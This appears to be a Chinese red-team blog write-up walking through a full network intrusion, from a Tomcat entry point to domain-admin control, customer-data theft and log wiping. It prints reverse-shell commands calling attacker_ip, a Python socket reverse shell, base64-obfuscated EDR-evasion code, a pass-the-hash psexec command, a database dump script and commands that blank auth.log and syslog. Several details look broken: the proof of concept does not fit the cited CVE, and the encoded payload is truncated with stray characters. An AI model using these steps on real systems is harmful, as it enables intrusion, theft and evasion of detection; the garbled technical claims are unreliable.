一、一次真实的攻防演练:从初始入口到全域控制

有一次,我参与了一场红队攻防演练,目标是渗透一家中型企业的内网,最终获取其核心数据库中的客户信息。这家公司的防御水平中规中矩:外层有防火墙,内部部署了主流的EDR(终端检测响应)和集中的日志监控系统。对于红队来说,这种目标既有挑战性,也有趣味性。

我的攻击链从一个公开暴露的Web服务开始,逐步延展到内网,并最终实现了域控权限的完全掌控。以下是整个过程中的关键技术细节和思路分享。

---

二、入口点发现:信息收集的艺术

信息收集阶段是红队行动的基础。在这个案例中,我的目标是找到能够进入企业网络的初始入口点。以下是我的具体操作:

1. 公开情报挖掘

首先,我使用了常见的开源情报收集工具,包括:

  • Shodan:扫描目标IP地址段的暴露服务端口;
  • Censys:查找目标域名相关的SSL证书;
  • Google Dork:通过特定搜索语法挖掘敏感信息。

在这一步,我发现目标公司的一个子域暴露了一个未更新的 Apache Tomcat 应用服务。版本号显示为 8.5.32,而这个版本的 Tomcat 存在一个公开的远程代码执行漏洞(CVE-2019-0232)。

2. 漏洞验证

确认漏洞是否可利用,我手动构造了一个简单的POC,尝试执行命令 whoami 来验证权限:

黑客示意图

<pre><code class="language-python">import requests

目标URL

url = &quot;http://target-vulnerable-tomcat.com/sampleServlet&quot;

构造Payload

payload = { &quot;cmd&quot;: &quot;whoami&quot; }

发送Post请求

response = requests.post(url, data=payload)

检查响应内容

print(response.text)</code></pre>

运行结果返回了服务端运行的用户是 tomcat8,这说明漏洞是可用的,从而确认了我的初始入口点。

---

三、突破防御:Payload构造与免杀技巧

获取入口权限后,我的目标是获得一个稳定的反弹Shell并绕过EDR的检测。以下是关键步骤。

1. 构造反弹Shell

为了获得控制权限,我使用了一个经典的反弹Shell技术。首先,我在攻击机上启动一个监听器:

<pre><code class="language-bash">nc -lvnp 4444</code></pre>

然后,在目标服务器上执行以下命令构造反弹Shell:

<pre><code class="language-bash">bash -i &gt;&amp; /dev/tcp/attacker_ip/4444 0&gt;&amp;1</code></pre>

这种方法简单有效,但容易被EDR检测到,因为它涉及常见的bash调用。因此我优化了Payload,使用了更加隐蔽的方式,通过内存加载的方式:

<pre><code class="language-python">import socket import subprocess

隐蔽反弹Shell

def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((&quot;attacker_ip&quot;, 4444)) while True: cmd = s.recv(1024) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) s.send(output.stdout.read() + output.stderr.read())

reverse_shell()</code></pre>

我将此代码在目标机器上使用Python解释器直接加载,绕过了大部分EDR扫描。

2. 绕过EDR检测

现代EDR往往能够检测网络反弹行为和异常进程调用。为了规避检测,我进一步进行了混淆:

  1. 代码变形:使用Base64编码动态解码反弹Shell逻辑;
  2. 内存执行:通过ctypes直接调用系统API,不落盘;
  3. 流量伪装:将反弹Shell流量伪装成HTTPS通信。

黑客示意图

以下是一段混淆后的Python代码示例:

<pre><code class="language-python">import base64 import socket import subprocess

Base64编码后的Payload

encoded_payload = &quot;ZGVmIHNoZWxsKCk6CiAgICBzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNLApzLmNvbm5lY3QoKCJhdHRhY2tlcl9p...&quot;)&quot;

exec(base64.b64decode(encoded_payload))</code></pre>

实际测试中,这种方式成功绕过了目标网络中的EDR。

---

四、横向移动:从单点控制到内网渗透

进入目标网络后,我开始对内网进行横向扩展,以寻找更高级权限。以下是具体操作:

1. 内网信息收集

我对目标网络的内网环境进行了探测,包括:

  • 使用 nbtscan 扫描内网主机;
  • 使用 smbclient 枚举共享资源;
  • 使用 arp -a 收集局域网中的活跃IP。

通过这些方法,我发现了一台域控制器主机的IP地址。

2. 凭证收集

接下来,我尝试抓取内存中的凭证。结合内存取证工具,如 Mimikatz,我成功提取了目标域用户的用户名和哈希。

利用以下命令,我进行了哈希传递攻击:

<pre><code class="language-bash">psexec.py -hashes &lt;LM_Hash&gt;:&lt;NT_Hash&gt; Administrator@target-dc-ip</code></pre>

通过以上操作,我成功登陆域控机器,并获得了域管理员权限。

---

五、最终目标:数据窃取与痕迹清除

1. 数据窃取

我发现目标公司的核心数据库运行在域控制器上。使用以下Python代码,我提取了敏感数据:

<pre><code class="language-python">import pymysql

数据库连接

db = pymysql.connect(host=&quot;target-dc-ip&quot;, user=&quot;admin&quot;, password=&quot;password&quot;, database=&quot;customer_db&quot;)

cursor = db.cursor() cursor.execute(&quot;SELECT * FROM customer_info&quot;) data = cursor.fetchall()

保存数据到本地

with open(&quot;data.csv&quot;, &quot;w&quot;) as f: for row in data: f.write(&quot;,&quot;.join(row) + &quot;\n&quot;)</code></pre>

以上代码将客户数据导出到本地文件。

2. 痕迹清除

为了防止被溯源,我清理了目标机器上的日志文件:

黑客示意图

<pre><code class="language-bash"># 清除系统日志 echo &quot;&quot; &gt; /var/log/auth.log echo &quot;&quot; &gt; /var/log/syslog

覆盖Shell历史

history -c</code></pre>

---

六、个人经验分享

这次演练给了我以下启发:

  1. 入口点选择很关键:宽泛的信息收集能发现意想不到的漏洞;
  2. 免杀技术要不断优化:EDR能力在不断提高,混淆与内存加载必不可少;
  3. 痕迹清除是最后一环:不留下任何痕迹才能确保行动隐蔽性。

免责声明 本文仅供授权的安全测试和研究学习,切勿用于非法用途。

黑客示意图